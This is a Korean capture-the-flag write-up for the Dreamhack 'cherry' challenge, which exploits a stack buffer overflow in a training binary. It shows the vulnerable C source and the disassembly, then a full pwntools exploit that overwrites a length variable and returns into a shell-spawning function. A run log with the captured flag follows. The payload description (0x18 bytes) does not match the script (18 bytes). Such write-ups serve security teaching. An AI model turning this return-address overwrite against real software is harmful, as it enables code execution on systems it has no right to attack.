[dreamhack] cherry writeup

1. 문제

thumbnail
cherry

주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/959

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];

    initialize();

    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }

    return 0;
}

buf 변수에 입력을 받고, 만약 cherry라면 fruit 변수에 다시 입력을 받는 코드이다.


먼저 gdb를 보고 각 변수의 정확한 위치를 확인해보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004012fe <+0>:	endbr64
   0x0000000000401302 <+4>:	push   rbp
   0x0000000000401303 <+5>:	mov    rbp,rsp
   0x0000000000401306 <+8>:	sub    rsp,0x30
   0x000000000040130a <+12>:	mov    DWORD PTR [rbp-0x24],edi
   0x000000000040130d <+15>:	mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000401311 <+19>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401318 <+26>:	mov    DWORD PTR [rbp-0x8],0x1
   0x000000000040131f <+33>:	mov    DWORD PTR [rbp-0x12],0x72656863
   0x0000000000401326 <+40>:	mov    WORD PTR [rbp-0xe],0x7972
   0x000000000040132c <+46>:	mov    DWORD PTR [rbp-0xc],0x10
   0x0000000000401333 <+53>:	mov    eax,0x0
   0x0000000000401338 <+58>:	call   0x401257 <initialize>
   0x000000000040133d <+63>:	mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401340 <+66>:	mov    edx,0x6
   0x0000000000401345 <+71>:	lea    rcx,[rip+0xcc9]        # 0x402015
   0x000000000040134c <+78>:	mov    rsi,rcx
   0x000000000040134f <+81>:	mov    edi,eax
   0x0000000000401351 <+83>:	call   0x4010e0 <write@plt>
   0x0000000000401356 <+88>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000401359 <+91>:	movsxd rdx,eax
   0x000000000040135c <+94>:	lea    rcx,[rbp-0x18]
   0x0000000000401360 <+98>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401363 <+101>:	mov    rsi,rcx
   0x0000000000401366 <+104>:	mov    edi,eax
   0x0000000000401368 <+106>:	call   0x401100 <read@plt>
   0x000000000040136d <+111>:	lea    rax,[rbp-0x18]
   0x0000000000401371 <+115>:	mov    edx,0x6
   0x0000000000401376 <+120>:	lea    rcx,[rip+0xc9f]        # 0x40201c
   0x000000000040137d <+127>:	mov    rsi,rcx
   0x0000000000401380 <+130>:	mov    rdi,rax
   0x0000000000401383 <+133>:	call   0x4010c0 <strncmp@plt>
   0x0000000000401388 <+138>:	test   eax,eax
   0x000000000040138a <+140>:	jne    0x4013bc <main+190>
   0x000000000040138c <+142>:	mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040138f <+145>:	mov    edx,0xf
   0x0000000000401394 <+150>:	lea    rcx,[rip+0xc88]        # 0x402023
   0x000000000040139b <+157>:	mov    rsi,rcx
   0x000000000040139e <+160>:	mov    edi,eax
   0x00000000004013a0 <+162>:	call   0x4010e0 <write@plt>
   0x00000000004013a5 <+167>:	mov    eax,DWORD PTR [rbp-0xc]
   0x00000000004013a8 <+170>:	movsxd rdx,eax
   0x00000000004013ab <+173>:	lea    rcx,[rbp-0x12]
   0x00000000004013af <+177>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004013b2 <+180>:	mov    rsi,rcx
   0x00000000004013b5 <+183>:	mov    edi,eax
   0x00000000004013b7 <+185>:	call   0x401100 <read@plt>
   0x00000000004013bc <+190>:	mov    eax,0x0
   0x00000000004013c1 <+195>:	leave
   0x00000000004013c2 <+196>:	ret
End of assembler dump.

처음에 stack에는 0x30만큼 할당하지만, 변수들을 넣는 것을 보고 정리하면 아래와 같다.

변수명 위치
rbp-0x18 buf
rbp-0x12 fruit
rbp-0xc buf_size
rbp-0x8 stdout_fd
rbp-0x4 stdin_fd

buf의 크기는 6이지만, buf_size0x10이므로 buf에 입력할때 buf_size까지 덮을 수 있는 bof 취약점이 존재한다. 따라서 처음 덮을 때 buffruit를 똑같이 맞춰주고, 그뒤 buf_size를 임의로 늘리면 두번째 read함수 실행 때 리턴주소를 조작할 수 있다.

payload를 정리해보면 아래와 같다.

payload1 = buf (6 bytes) + fruit (6 bytes) + buf_size (4 bytes)  # ex) cherrycherry1000
payload2 = dummy (0x18 bytes) + sfp (8 bytes) + flag_addr (8 bytes)

flag함수 주소는 no-pie이므로 고정주소로 쉽게 구할 수 있다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./chall")
p = remote("host3.dreamhack.games", 11896)
elf = ELF("./chall")

flag = elf.symbols["flag"]

p.recvuntil("Menu: ")
p.send(b"cherrycherry1000")

p.recvuntil("Is it cherry?: ")

payload = b''
payload += b'a' * 18
payload += b'b' * 8
payload += p64(flag)

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cherry$ python3 e_chall.py 
[+] Starting local process './chall': pid 2204289
[+] Opening connection to host3.dreamhack.games on port 11896: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/cherry/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
/home/ubuntu/dreamhack/level1/cherry/e_chall.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Menu: ")
/home/ubuntu/dreamhack/level1/cherry/e_chall.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Is it cherry?: ")
[*] Switching to interactive mode
$ cat flag
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

해결~